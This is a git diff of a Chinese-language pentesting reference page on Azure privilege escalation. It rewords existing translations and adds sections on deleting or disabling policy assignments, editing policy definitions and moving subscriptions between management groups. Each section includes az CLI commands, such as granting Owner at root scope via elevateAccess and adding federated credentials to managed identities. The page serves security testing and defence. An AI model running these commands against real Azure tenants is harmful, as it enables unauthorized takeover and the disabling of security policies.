diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index c91ec6aae..2b4d92e91 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -4,7 +4,7 @@ ## Azure IAM -更多信息请查看: +有关更多信息,请参阅: {{#ref}} ../az-services/az-azuread.md @@ -12,16 +12,16 @@ ### Microsoft.Authorization/roleAssignments/write -此权限允许在特定范围内将角色分配给主体,使攻击者能够通过为自己分配更高权限的角色来提升权限: +此权限允许在特定范围内向主体分配角色,使攻击者可以通过将自己分配为更高权限的角色来提升权限: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` ### Microsoft.Authorization/roleDefinitions/Write -此权限允许修改角色授予的权限,使攻击者能够通过向其分配的角色授予更多权限来提升特权。 +此权限允许修改角色所授予的权限,攻击者可通过向分配给自己的角色授予更多权限来进行提权。 -创建文件 `role.json`,并包含以下 **内容**: +创建文件 `role.json` 并写入以下 **内容**: ```json { "roleName": "", @@ -36,16 +36,16 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55 "id": "/subscriptions//providers/Microsoft.Authorization/roleDefinitions/", } ``` -然后使用之前的定义更新角色权限,调用: +然后调用之前的定义来更新角色权限: ```bash az role definition update --role-definition role.json ``` ### Microsoft.Authorization/elevateAccess/action -此权限允许提升特权,并能够将权限分配给任何主体以访问 Azure 资源。它旨在授予 Entra ID 全局管理员,以便他们也可以管理 Azure 资源的权限。 +此权限允许提升权限并能够将权限分配给任何主体以访问 Azure 资源。它应授予 Entra ID Global Administrators,使他们也能管理对 Azure 资源的权限。 > [!TIP] -> 我认为用户需要是 Entra ID 的全局管理员,以便提升调用能够正常工作。 +> 我认为用户需要在 Entra ID 中成为 Global Administrator,才能使 elevate 调用生效。 ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -55,9 +55,9 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -此权限允许将联邦凭据添加到托管身份。例如,允许在存储库中将访问权限授予托管身份的Github Actions。然后,它允许**访问任何用户定义的托管身份**。 +该权限允许向 managed identities 添加 Federated credentials。 例如,将 Github Actions 在某个 repo 的访问授予一个 managed identity。然后,它允许 **访问任何用户定义的 managed identity**。 -示例命令,将访问权限授予Github中的存储库给托管身份: +示例命令,用于将 Github 中某个 repo 的访问权限授予一个 managed identity: ```bash # Generic example: az rest --method PUT \ @@ -71,4 +71,94 @@ az rest --method PUT \ --headers "Content-Type=application/json" \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` +### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete + +拥有对 management group、subscription 或 resource group 的权限 `Microsoft.Authorization/policyAssignments/write` 或 `Microsoft.Authorization/policyAssignments/delete` 的攻击者可以 **修改或删除 Azure 策略分配**,可能 **禁用阻止特定操作的安全限制**。 + +这将允许访问先前受该策略保护的资源或功能。 + +**删除策略分配:** +```bash +az policy assignment delete \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +**禁用策略分配:** +```bash +az policy assignment update \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" \ +--enforcement-mode Disabled +``` +**验证更改:** +```bash +# List policy assignments +az policy assignment list \ +--scope "/providers/Microsoft.Management/managementGroups/" + +# Show specific policy assignment details +az policy assignment show \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +### Microsoft.Authorization/policyDefinitions/write + +拥有权限 `Microsoft.Authorization/policyDefinitions/write` 的攻击者可以**修改 Azure 策略定义**,更改在整个环境中控制安全限制的规则。 + +例如,限制允许创建资源区域的策略可以被修改为允许任何区域,或者可以更改策略效果使其失效。 + +**修改策略定义:** +```bash +az policy definition update \ +--name "" \ +--rules @updated-policy-rules.json +``` +**验证更改:** +```bash +az policy definition list --output table + +az policy definition show --name "" +``` +### Microsoft.Management/managementGroups/write + +拥有权限 `Microsoft.Management/managementGroups/write` 的攻击者可以**修改管理组的层级结构**或**创建新的管理组**,从而可能规避在更高层级应用的限制性策略。 + +例如,攻击者可以创建一个没有限制性策略的新管理组,然后将订阅移动到该管理组。 + +**创建新的管理组:** +```bash +az account management-group create \ +--name "yourMGname" \ +--display-name "yourMGDisplayName" +``` +**修改管理组层级:** +```bash +az account management-group update \ +--name "" \ +--parent "/providers/Microsoft.Management/managementGroups/" +``` +**验证更改:** +```bash +az account management-group list --output table + +az account management-group show \ +--name "" \ +--expand +``` +### Microsoft.Management/managementGroups/subscriptions/write + +拥有权限 `Microsoft.Management/managementGroups/subscriptions/write` 的攻击者可以 **在管理组之间移动订阅**,并可能通过将订阅移到策略更宽松或没有策略的组来 **规避限制性策略**。 + +**将订阅移动到不同的管理组:** +```bash +az account management-group subscription add \ +--name "" \ +--subscription "" +``` +**验证更改:** +```bash +az account management-group subscription show \ +--name "" \ +--subscription "" +``` {{#include ../../../banners/hacktricks-training.md}}